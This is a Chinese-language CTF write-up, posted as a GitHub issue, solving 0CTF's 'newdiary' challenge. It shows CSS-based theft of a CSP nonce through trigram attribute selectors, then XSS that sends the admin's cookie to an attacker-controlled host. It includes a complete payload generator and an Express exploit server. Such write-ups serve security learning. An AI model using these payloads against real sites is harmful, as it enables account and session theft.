We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
今年的 0CTF 一共有三道 web 題,其中一道題目是 client-side 的,我就只解這題而已,順利拿到 first blood,這篇簡單記錄一下心得。
關鍵字列表:
題目就是個典型的 note app,可以建立筆記然後回報給 admin bot,筆記只有限制長度,並沒有做過濾,在 client 也是直接用 innerHTML,所以很明顯有 HTML injection:
load = () => { document.getElementById("title").innerHTML = "" document.getElementById("content").innerHTML = "" const param = new URLSearchParams(location.hash.slice(1)); const id = param.get('id'); let username = param.get('username'); if (id && /^[0-9a-f]+$/.test(id)) { if (username === null) { fetch(`/share/read/${id}`).then(data => data.json()).then(data => { const title = document.createElement('p'); title.innerText = data.title; document.getElementById("title").appendChild(title); const content = document.createElement('p'); content.innerHTML = data.content; document.getElementById("content").appendChild(content); }) } else { fetch(`/share/read/${id}?username=${username}`).then(data => data.json()).then(data => { const title = document.createElement('p'); title.innerText = data.title; document.getElementById("title").appendChild(title); const content = document.createElement('p'); content.innerHTML = data.content; document.getElementById("content").appendChild(content); }) } document.getElementById("report").href = `/report?id=${id}&username=${username}`; } window.removeEventListener('hashchange', load); } load(); window.addEventListener('hashchange', load);
這邊值得注意的一點是如果改變 hash 的話會載入新的 note,這點滿重要的。
而 CSP 的部份如下:
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<%= nonce %>'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com">
每一個 response 都有不同的 nonce,長度為 32 位,每一個字元是 a-zA-Z0-9,有 36 種組合。CSS 的部分允許 inline 跟 unpkg,因為 unpkg 就只是去 npm 上拿,所以可以想成是允許任何的外部 style。
admin bot 的部份只能訪問 /share/read,訪問後會停留 30 秒,這個 timeout 應該滿明顯是要花時間 leak 什麼東西:
/share/read
await page.goto( `http://localhost/share/read#id=${id}&username=${username}`, { timeout: 5000 } ); await new Promise((resolve) => setTimeout(resolve, 30000)); await page.close();
對了,flag 在 cookie 裡面,所以目標是 XSS。
其實看完題目之後我覺得滿直覺的,很明顯要想辦法用 CSS 偷到 nonce,偷到 nonce 以後建立一個新的 note,然後改變 hash 去載入新的 note,就可以 XSS。
但有一些小細節要注意就是了,像是 admin bot 只能訪問某一個筆記,所以要先用 <meta> redirect 到自己的 server,再用 window.open 去打開新的筆記,這樣偷到 nonce 以後才能藉由改變 hash 去更新內容,確保 nonce 不會變。
<meta>
window.open
總之呢,流程如下:
<meta http-equiv="refresh" content="0;URL=https://my_server">
<style>@import "https://unpkg.com/pkg/steal.css"</style>
w = window.open(note_1)
<script nonce=xxx></script>
w.location = '.../share/read#id=2'
這之中最麻煩的部分就在於用 CSS 偷 nonce 了。
我以前剛好有研究過用 CSS 偷東西:用 CSS 來偷資料 - CSS injection(上),但裡面講到的做法其實這一題行不通。
由於 nonce 的可能性有太多種,所以一個字元一個字元偷是最快的方法,但這種做法要利用 @import 加上 blocking 的方式,這一題的外部連結只能到 unpkg,是靜態檔案,沒辦法。
@import
另一種做法剛好前陣子才看過但還沒更新到文章:Code Vulnerabilities Put Proton Mails at Risk
這做法滿聰明的,把一段字切成很多小字串,每個字串有三個字元,我們對 a-zA-Z0-9 做三個字的全排列組合,像這樣:
script[nonce*="aaa"]{--aaa:url("https://server/leak?q=aaa")} script[nonce*="aab"]{--aab:url("https://server/leak?q=aab")} ... script[nonce*="ZZZ"]{--ZZZ:url("https://server/leak?q=ZZZ")} script{ display: block; background-image: -webkit-cross-fade( var(--aaa, none), -webkit-cross-fade( var(--aab, none), var(--ZZZ, none), 50% ), 50% )
用 -webkit-cross-fade 是為了要載入多個圖片,細節可以參考上面貼的文章。
-webkit-cross-fade
例如說 nonce 是 abc123 好了,server 就會收到:
這四種字串,而順序可能會不一樣,但只要按照規則組合起來,就可以得到 abc123。當然,也有可能會有多種組合或是不確定頭尾的情形,但那就當作 edge case,重新再試一次就行了。
用這樣的方式偷 nocne,以這題來說會有 36^3 = 46656 個規則,是可以接受的長度。
剛好之前在工作上也碰到類似的情境,所以手邊已經有寫好的腳本了,改一下就可以用。
這題如果把全部規則都套在同一個元素上,似乎會因為規則太多之類的讓 Chrome 直接 crash(至少我本地是這樣),所以我就把規則分三份,順便套在三個不同元素。
const fs = require('fs') let chars = 'abcdefghijklmnopqrstuvwxyz0123456789' const host = 'https://ip.ngrok-free.app' let arr = [] for(let a of chars) { for(let b of chars) { for(let c of chars) { let str = a+b+c; arr.push(str) } } } let payload1 = '' let crossPayload1 = 'url("/")' let payload2 = '' let crossPayload2 = 'url("/")' let payload3 = '' let crossPayload3 = 'url("/")' const third = Math.floor(arr.length / 3); const arr1 = arr.slice(0, third); const arr2 = arr.slice(third, 2 * third); const arr3 = arr.slice(2 * third); for(let str of arr1) { payload1 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload1 = `-webkit-cross-fade(${crossPayload1}, var(--${str}, none), 50%)` } for(let str of arr2) { payload2 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload2 = `-webkit-cross-fade(${crossPayload2}, var(--${str}, none), 50%)` } for(let str of arr3) { payload3 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload3 = `-webkit-cross-fade(${crossPayload3}, var(--${str}, none), 50%)` } payload1 = `${payload1} script{display:block;} script{background-image: ${crossPayload1}}` payload2 = `${payload2}script:after{content:'a';display:block;background-image:${crossPayload2} }` payload3 = `${payload3}script:before{content:'a';display:block;background-image:${crossPayload3} }` fs.writeFileSync('exp1.css', payload1, 'utf-8'); fs.writeFileSync('exp2.css', payload2, 'utf-8'); fs.writeFileSync('exp3.css', payload3, 'utf-8');
接著把跑完的檔案發佈到 npm,就有一個 unpkg 的網址了。
寫得滿亂的有點懶得整理,但基本上跑起來以後訪問 /start 就會開始自動跑整個流程。
/start
這題因為運氣好之前就有看過那篇文章,所以開賽後半小時就大概知道怎麼解了,剩下兩小時都在寫 code 😆
import express from 'express' import {fetch, CookieJar} from "node-fetch-cookies"; const app = express() const port = 3000 const host = 'http://new-diary.ctf.0ops.sjtu.cn' const selfHost = 'https://ip.ngrok-free.app' const cssUrl = 'https://unpkg.com/your_pkg@1.0.0' const getRandomStr = len => Array(len).fill().map(_ => Math.floor(Math.random()*16).toString(16)).join('') let leaks = [] let cookieJar = new CookieJar(); let username = ''; let hasToken = false; function mergeWords(arr, ending) { if (arr.length === 0) return ending if (!ending) { for(let i=0; i<arr.length; i++) { let isFound = false for(let j=0; j<arr.length; j++) { if (i === j) continue let suffix = arr[i][1] + arr[i][2] let prefix = arr[j][0] + arr[j][1] if (suffix === prefix) { isFound = true continue } } if (!isFound) { console.log('ending:', arr[i]) return mergeWords(arr.filter(item => item!==arr[i]), arr[i]) } } console.log('Error, please try again') return } let found = [] for(let i=0; i<arr.length; i++) { let length = ending.length let suffix = ending[0] + ending[1] let prefix = arr[i][1] + arr[i][2] if (suffix === prefix) { found.push([arr.filter(item => item!==arr[i]), arr[i][0] + ending]) } } return found.map((item) => { return mergeWords(item[0], item[1]) }) } function handleLeak() { let str = '' let arr = [...leaks] leaks = [] console.log('received:', arr) const merged = mergeWords(arr, null); console.log('leaked:', merged.flat(99)) return merged.flat(99) } async function createNote(title, content){ return await fetch(cookieJar, host + '/write', { method: 'POST', headers: { 'content-type': 'application/x-www-form-urlencoded', }, body: `title=${encodeURIComponent(title)}&content=${encodeURIComponent(content)}` }) } async function getNotes() { return await fetch(cookieJar, host + '/', { }).then(res => res.text()) } async function share(id) { return await fetch(cookieJar, host + '/share_diary/' + id, { }).then(res => res.text()) } async function report(username, id) { return await fetch(cookieJar, `${host}/report?username=${username}&id=${id}` , { }).then(res => res.text()) } app.get('/', (req, res) => { res.send('Hello World!') }) app.get('/start', async (req, res) => { // create ccount username = getRandomStr(8) let password = getRandomStr(8) leaks = [] hasToken = false console.log({ username, password }) const response = await fetch(cookieJar, host + '/login', { method: 'post', headers: { 'content-type': 'application/x-www-form-urlencoded' }, body: `username=${username}&password=${password}` }) const resp = await createNote('note1', `<meta http-equiv="refresh" content="0;URL=${selfHost}/exp">`) await createNote('note2', `<style>@import "${cssUrl}/exp1.css";@import "${cssUrl}/exp2.css";@import "${cssUrl}/exp3.css";</style>`) console.log('done') await share(0) await share(1) console.log('report username:', username) console.log(await report(username, 0)) res.send('done') }) app.get('/leak', async (req, res) => { leaks.push(req.query.q) console.log('recevied:', req.query.q, leaks.length) if (leaks.length === 30) { const result = handleLeak() // create a new note await createNote( 'note3', result.map(nonce => `<iframe srcdoc="<script nonce=${nonce}>top.location='${selfHost}/flag?q='+encodeURIComponent(top.document.cookie)</script>"></iframe>`) ); await share(2) hasToken = true; console.log('note3 cteated') } res.send('ok') }) app.get('/flag', (req, res) => { console.log('flag', req.query.q) res.send('flag') }) app.get('/hasToken', (req, res) => { console.log('polling...', hasToken) if (hasToken) { res.send('hasToken') } else { res.send('no') } }) app.get('/exp', (req, res) => { console.log('visit exp') res.setHeader('content-type', 'text/html') res.send(` <script> let w = window.open('http://localhost/share/read#id=1&username=${username}') function polling() { fetch('/hasToken').then(res => res.text()).then((res) => { if (res === 'hasToken') { w.location = 'http://localhost/share/read#id=2&username=${username}' } }) setTimeout(() => { polling(); }, 500) } polling() </script> `) }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })
話說如果沒看過那篇文章的話,不確定自己是不是能想到這個解法 😅
The text was updated successfully, but these errors were encountered:
No branches or pull requests
今年的 0CTF 一共有三道 web 題,其中一道題目是 client-side 的,我就只解這題而已,順利拿到 first blood,這篇簡單記錄一下心得。
關鍵字列表:
Web - newdiary (14 solves)
題目就是個典型的 note app,可以建立筆記然後回報給 admin bot,筆記只有限制長度,並沒有做過濾,在 client 也是直接用 innerHTML,所以很明顯有 HTML injection:
這邊值得注意的一點是如果改變 hash 的話會載入新的 note,這點滿重要的。
而 CSP 的部份如下:
每一個 response 都有不同的 nonce,長度為 32 位,每一個字元是 a-zA-Z0-9,有 36 種組合。CSS 的部分允許 inline 跟 unpkg,因為 unpkg 就只是去 npm 上拿,所以可以想成是允許任何的外部 style。
admin bot 的部份只能訪問
/share/read
,訪問後會停留 30 秒,這個 timeout 應該滿明顯是要花時間 leak 什麼東西:對了,flag 在 cookie 裡面,所以目標是 XSS。
其實看完題目之後我覺得滿直覺的,很明顯要想辦法用 CSS 偷到 nonce,偷到 nonce 以後建立一個新的 note,然後改變 hash 去載入新的 note,就可以 XSS。
但有一些小細節要注意就是了,像是 admin bot 只能訪問某一個筆記,所以要先用
<meta>
redirect 到自己的 server,再用window.open
去打開新的筆記,這樣偷到 nonce 以後才能藉由改變 hash 去更新內容,確保 nonce 不會變。總之呢,流程如下:
<meta http-equiv="refresh" content="0;URL=https://my_server">
,id 是 0<style>@import "https://unpkg.com/pkg/steal.css"</style>
,id 是 1w = window.open(note_1)
,開始偷 nonce<script nonce=xxx></script>
,id 為 2w.location = '.../share/read#id=2'
這之中最麻煩的部分就在於用 CSS 偷 nonce 了。
用 CSS 偷 nonce
我以前剛好有研究過用 CSS 偷東西:用 CSS 來偷資料 - CSS injection(上),但裡面講到的做法其實這一題行不通。
由於 nonce 的可能性有太多種,所以一個字元一個字元偷是最快的方法,但這種做法要利用
@import
加上 blocking 的方式,這一題的外部連結只能到 unpkg,是靜態檔案,沒辦法。另一種做法剛好前陣子才看過但還沒更新到文章:Code Vulnerabilities Put Proton Mails at Risk
這做法滿聰明的,把一段字切成很多小字串,每個字串有三個字元,我們對 a-zA-Z0-9 做三個字的全排列組合,像這樣:
用
-webkit-cross-fade
是為了要載入多個圖片,細節可以參考上面貼的文章。例如說 nonce 是 abc123 好了,server 就會收到:
這四種字串,而順序可能會不一樣,但只要按照規則組合起來,就可以得到 abc123。當然,也有可能會有多種組合或是不確定頭尾的情形,但那就當作 edge case,重新再試一次就行了。
用這樣的方式偷 nocne,以這題來說會有 36^3 = 46656 個規則,是可以接受的長度。
產生 CSS
剛好之前在工作上也碰到類似的情境,所以手邊已經有寫好的腳本了,改一下就可以用。
這題如果把全部規則都套在同一個元素上,似乎會因為規則太多之類的讓 Chrome 直接 crash(至少我本地是這樣),所以我就把規則分三份,順便套在三個不同元素。
接著把跑完的檔案發佈到 npm,就有一個 unpkg 的網址了。
Exploit
寫得滿亂的有點懶得整理,但基本上跑起來以後訪問
/start
就會開始自動跑整個流程。這題因為運氣好之前就有看過那篇文章,所以開賽後半小時就大概知道怎麼解了,剩下兩小時都在寫 code 😆
話說如果沒看過那篇文章的話,不確定自己是不是能想到這個解法 😅
The text was updated successfully, but these errors were encountered: